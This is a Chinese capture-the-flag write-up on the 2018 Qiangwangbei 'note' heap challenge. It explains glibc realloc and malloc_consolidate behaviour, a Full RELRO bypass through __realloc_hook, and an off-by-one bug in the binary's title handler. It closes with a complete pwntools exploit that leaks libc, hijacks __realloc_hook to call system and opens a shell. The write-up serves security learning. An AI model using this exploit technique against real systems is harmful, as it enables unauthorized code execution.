fastbin的off-by-one利用技巧

背景知识

这个题目同样是2018强网杯线上赛的pwn题—-note,题目可以在这里下载
这里涉及到两个知识点:

1:malloc_consolidate对fastbin的合并。
2:在程序开启RELRO技术之后,不能对GOT表进行改写的情况下,利用覆盖__realloc_hook来实现控制流劫持。

realloc函数的处理流程

对于realloc函数,我以往的认识大概就是具有对指定地址堆块的重新分配功能。如果新申请的内存大小小于或者等于原先的内存,那么就会返回原先的堆块指针;如果新申请的内存堆块大小大于原先的内存,那么就会新开辟一块内存返回给调用者,并将原先内存的内容拷贝到新申请的内存空间中。
但是,对于realloc是以怎样的步骤来申请新的内存的却不是很清楚。

和以往一样,查看一下源码,这里只关注原先的内存不够用的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/* Try to expand forward into top */
if (next == av->top && (unsigned long) (newsize = oldsize + nextsize) >= (unsigned long) (nb + MINSIZE))
{
set_head_size (oldp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
av->top = chunk_at_offset (oldp, nb);
set_head (av->top, (newsize - nb) | PREV_INUSE);
check_inuse_chunk (av, oldp);
return chunk2mem (oldp);
}

/* Try to expand forward into next chunk; split off remainder below */
else if (next != av->top && !inuse (next) && (unsigned long) (newsize = oldsize + nextsize) >= (unsigned long) (nb))
{
newp = oldp;
unlink (av, next, bck, fwd);
}

/* allocate, copy, free */
else
{
newmem = _int_malloc (av, nb - MALLOC_ALIGN_MASK);
if (newmem == 0)
return 0; /* propagate failure */

newp = mem2chunk (newmem);
newsize = chunksize (newp);

/*
Avoid copy if newp is next chunk after oldp.
*/
if (newp == next)
{
newsize += oldsize;
newp = oldp;
}
else
{

...........

_int_free (av, oldp, 1);
check_inuse_chunk (av, newp);
return chunk2mem (newp);
}
}

1:检查下一块是否是top chunk,如果是并且top chunk的size满足要求,则直接到top chunk中进行扩展原先的内存。
2:如果第一步不能满足,则检查下一块是否是空闲的chunk,如果是并且size满足要求,则从下一个chunk中进行扩充。
3:如果前两步都不能满足,就只能通过malloc申请新的内存空间,如果新申请的内存是原先内存的下一个chunk,则不进行复制,释放原内存的操作,直接将两块内存合并;如果新申请的内存不是原先内存的下一个chunk,就需要进行复制,释放原先内存的操作。

在第三步进入malloc操作的时候,如果申请的内存过于大,以至于small bins中没有合适的内存块可以供使用,就会触发malloc_consolidate操作,这个操作会将fast bins中的所有chunk都取出来并进行合并。
上文,realloc操作的第三步,会对原先的内存进行free操作,如果原先的内存是属于fast bins的,结合这里的malloc_consolidate操作,会触发unlink操作。

什么是RELRO技术,怎么绕过

RELRO技术就是重定位只读技术,主要是为了防御针对修改GOT表的攻击。
重定位只读分为部分RELRO(Partial RELRO)与完全RELRO(Full RELRO)两种。

部分RELRO:在程序装入后,将其中一些段(如.dynamic)标记为只读,防止程序的一些重定位信息被修改。
完全RELRO:在部分RELRO的基础上,在程序装入时,直接解析完所有符号并填入对应的值,此时所有的GOT表项都已初始化,且不装入link_map与_dl_runtime_resolve的地址(二者都是程序动态装载的重要结构和函数)。

可以看到,当程序启用完全RELRO时,传统的GOT劫持的方式也不再可用。
但完全RELRO对程序性能的影响也相对较大,因为其相当于禁用了用于性能优化的动态装载机制,将程序中可能不会用到的一些动态符号装入,当程序导入的外部符号很多时,将带来一定程度的额外开销。
为了绕过RELRO,我们可以利用__realloc_hook的特性。
修改存在于glibc.data段的记录hook函数的指针变量__realloc_hook,若glibc发现此变量的值不为0,则在进行realloc操作时会直接调用此变量中记录的函数地址,从而达到劫持控制流的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void * __libc_realloc (void *oldmem, size_t bytes)
{
mstate ar_ptr;
INTERNAL_SIZE_T nb; /* padded request size */

void *newp; /* chunk to return */

//读取__realloc_hook处的值,如果不为0,则调用读取到的函数
void *(*hook) (void *, size_t, const void *) = atomic_forced_read (__realloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(oldmem, bytes, RETURN_ADDRESS (0));
...
...
}

note中的一字节堆溢出漏洞

note开启的安全措施

1
2
3
4
5
6
7
8
pwndbg> checksec
[*] '/home/pur3uit/ctf/note/note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
RUNPATH: '/home/pur3uit/build/build-2.25/lib/'

这是note程序的一些主要操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void user_function()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
title = (char *)malloc(0x28uLL);
printf("welcome to the note %d\n", title - first_chunk);
default_content_size = 120;
content_ptr = (char *)malloc(0x78uLL);
comment = (char *)malloc(0x78uLL);
change_content_limit = 0;
while ( 1 )
{
switch ( start_function() )
{
default:
continue;
case 1:
change_title();
break;
case 2:
change_content();
break;
case 3:
change_comment();
break;
case 4:
show_content();
break;
case 5:
puts("Bye~");
exit(0);
return;
case 6:
exit(0);
return;
}
}
}

note程序提供了一些操作,均涉及到对堆内存的操作,在change_title函数中,存在一个off-by-one漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
char *change_title()
{
char *result; // rax@4
signed int v1; // eax@5
char v2; // [sp+Bh] [bp-5h]@2
signed int v3; // [sp+Ch] [bp-4h]@1

printf("enter the title:");
v3 = 0;
while ( 1 )
{
v2 = getchar();
if ( (unsigned int)check_badchar(v2) )
break;
if ( v3 > 39 )
{
result = title + 39;
title[39] = 0;
return result;
}
v1 = v3++;
title[v1] = v2;
}
result = (char *)(unsigned __int8)v2;
title[v3] = v2; // 有一个字节发生溢出
return result;
}

check_badchar函数会对输入的字符进行检查,如果输入的字符是预先定义的bad_char,则直接跳出循环。

1
2
3
4
5
6
7
8
9
10
11
bad char
.data:0000000000602010 ; char bad_char[]
.data:0000000000602010 bad_char db 0Ah
.data:0000000000602011 db 21h ; !
.data:0000000000602012 db 3Fh ; ?
.data:0000000000602013 db 40h ; @
.data:0000000000602014 db 22h ; "
.data:0000000000602015 db 27h ; '
.data:0000000000602016 db 23h ; #
.data:0000000000602017 db 26h ; &
.data:0000000000602018 db 0

这里存在一个问题,如果在v3等于40的时候,输入一个bad_char,就会发生一字节的溢出。由于title数组存在于堆上,所以会覆盖下一个堆块的size域,结合前面的两个知识点,就可以实现任意地址写操作。
我们可以利用@字符进行溢出。

利用过程

查看bss段的分布,可以发现title数组指针是一个非常好的利用点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.bss:0000000000602050 change_content_limit dd ?               
.bss:0000000000602050
.bss:0000000000602054 align 8
.bss:0000000000602058 ; char *comment
.bss:0000000000602058 comment dq ?
.bss:0000000000602058
.bss:0000000000602060 ; char *content_ptr
.bss:0000000000602060 content_ptr dq ?
.bss:0000000000602060
.bss:0000000000602068 default_content_size dd ?
.bss:0000000000602068
.bss:000000000060206C align 10h
.bss:0000000000602070 ; char *title
.bss:0000000000602070 title dq ?
.bss:0000000000602070

为了触发unlink,我们需要两个连续的free chunk,通过调试可以发现,title正好是content的前一个chunk。
至此,我们的利用思路就很明显了:

1:在title中伪造一个free chunk,其fd和bk值可以分别为title指针的减24和减16值,并通过off-by-one修改content的size域的inuse位为0。
2:在change_content操作中,可以先通过申请一个很大的内存,使得realloc必须执行上文的第三步,这样会使得原先的content被free掉,成为free状态的fast bin chunk。
3:上面申请的大内存必定和top chunk相邻,因此,这一步也需要再申请一个足够大内存,其大小必须大于top chunk和当前content的大小之和,由于这时fast bin中已经有内容,所以会触发malloc_consolidate操作,对fast bin进行合并,这时就会触发unlink,使得title指针指向了其自身减去24的位置,此时便可以实现任意地址写。

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
import time
p = remote('127.0.0.1',1234)

def title(Title):
p.recvuntil('option--->>\n')
p.sendline(str(1))
p.recvuntil('enter the title:')
p.send(Title)

def content(Size,Content):
p.recvuntil('option--->>\n')
p.sendline(str(2))
p.recvuntil('Enter the content size(64-256):')
p.sendline(str(Size))
p.recvuntil('Enter the content:')
p.send(Content)

def comment(Cmn):
p.recvuntil('option--->>\n')
p.sendline(str(3))
p.recvuntil('Enter the comment:')
p.send(Cmn)

def show():
p.recvuntil('option--->>\n')
p.sendline(str(4))

def exploit():
payload = p64(0)+p64(0x20)+p64(0x602070-0x18)+p64(0x602070-0x10)+p64(0x20)
content(0x68,'A'*0x38+p64(0x41)+'\n')
title(payload+'@')

content(0x5000,'this step is to free one original content chunk\n')
time.sleep(0.5)
content(0x20000,'this step is to unlink\n')
time.sleep(0.5)

title(p64(0x602050)+p64(0x601fd0)+'\n')
show()
p.recvuntil('The content is:')
libc.address = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-libc.symbols['atoi']
print('The libc base address is:' + hex(libc.address))
__realloc_hook = libc.symbols['__realloc_hook']
print('The realloc_hook address is:'+hex(__realloc_hook))
system = libc.symbols['system']
print('The system address is:'+hex(system))
binsh_addr = next(libc.search('/bin/sh'))
print('The binsh address is:'+hex(binsh_addr))

#这一步会使得之后调用realloc变成调用system
title(p64(__realloc_hook)+'\n')
time.sleep(0.5)
comment(p64(system)+'\n')
time.sleep(1)

title(p64(0x602050)+p64(binsh_addr)+'\n')
time.sleep(1)
comment(p64(0)+'\n')
time.sleep(0.5)

p.recvuntil('option--->>\n')
p.sendline(str(2))
p.recvuntil('Enter the content size(64-256):')
p.sendline('0x100')

libc = ELF('/home/pur3uit/build/build-2.25/lib/libc.so.6')
exploit()
p.interactive()

参考链接

2018强网杯writeup